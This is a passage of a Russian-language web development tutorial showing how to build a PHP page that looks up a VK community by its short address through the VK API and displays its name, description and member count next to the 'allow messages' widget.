VK.Widgets.AllowMessagesFromCommunity("vk\_allow\_messages\_from\_community", {height: 30}, 53495256);
```
Чтобы не писать для пользователей приложения огромных инструкций как получить id их сообщества мы сделаем все за них. Проще попросить их скопировать короткий адрес сообщества и создать ссылку вида домен\_вашего\_приложения/короткий\_адрес/, где короткий адрес — это адрес их сообщества вконтакте.
Если кто-то будет заходить напрямую на ваш сайт, то будет подгружаться то сообщество, чей токен вы используете. И обязательно в настройках каждого сообщества, кто будет пользоваться вашим приложением, должна быть включена опция разрешить использование виджета.

Нам остается немного:
1. Получить короткий адрес сообщества из строки браузера.
2. Сделать запрос к api вк и узнать id сообщества.
3. Подставить полученные данные в виджет.
Создадим файл .htaccess и зададим конфигурацию, чтобы сервер понимал наш замысел.
```
RewriteEngine on
RewriteBase /
RewriteRule ^([^/]+)/$ /index.php?vkgr=$1 [L]
```
Тогда для нас ссылка домен\_вашего\_приложения/habr/ превратится в домен\_вашего\_приложения/?vkgr=habr. Получим данные из GET. Теперь соберем запрос через file\_get\_contents() к вк api и узнаем некоторые данные о сообществе. Возьмем название, описание и количество пользователей. Так на странице мы сможем добавить больше информации для посетителей, чем просто кнопку виджета «Разрешить писать сообществу». ВКонтакте возвращает данные формате json, нужно данные обработать.
```
if (isset($_GET['vkgr'])) {
$group = htmlspecialchars(trim($_GET['vkgr']));
}
// токен вымышленный, вставьте свой
$token = "b98908abcbcbasbbxabbcbabbabbb247823479823aasdasdwe345345345345354353345345345345353453";
$fields = "description,members_count";
$v = 5.58;
$url = 'https://api.vk.com/method/groups.getById?group_id='.$group.'&fields='.$fields.'&access_token='.$token.'&v='.$v;
$about = file_get_contents($url);
$result = json_decode($about, true);
```
Теперь осталось состряпать страницу и подставить данные в нужное место. У меня будет такая разметка.
```
\* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
.clearfix:before,
.clearfix:after {
content: "";
display: table;
}
.clearfix:after {
clear: both;
}
/\* для IE6-7 \*/
.clearfix {
zoom: 1;
}
.section {
width: 700px;
margin: 150px auto 0px;
min-height: 500px;
box-shadow: 0px 0px 3px 2px #eaeaea;
border-radius: 3px;
padding-top: 50px;
background: #fff;
}
.block-1 {
float: left;
width: 200px;
background-size: cover;
margin-left: 50px;
background-repeat: no-repeat;
}
.block-2 {
float: left;
margin-left: 50px;
width: 350px;
}
p.zag-gr {
font-size: 24px;
margin-bottom: 10px;
}
p.edsc-gr {
font-size: 16px;
padding-right: 20px;
}
p.count {
display: block;
width: 100%;
padding: 10px;
background: #f8384f;
color: #fff;
text-align: center;
border-radius: 3px;
}
.block-1 img {
display: block;
border-radius: 4px;
margin-bottom: 10px;
border: 1px solid #e0e0e0;
}
.btn-vk {
margin:60px auto;
display: block;
width: 195px;
}

=$result['response'][0]['members\_count'];?
=$result['response'][0]['name'];?
=$result['response'][0]['description'];?
VK.Widgets.AllowMessagesFromCommunity("vk\_allow\_messages\_from\_community", {height: 30}, <?=$result['response'][0]['id'];?>);
```
Воспользуюсь полученными данными о сообществе. Описание даст посетителям понять на что они подписываются, а количество подписчиков этакий сошиал пруф.

Далее остается дело вкуса. Поиграться со стилями. Добавил иконки, бэкграунд, подключил шрифты и вот что вышло.
 | https://habr.com/ru/post/312974/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.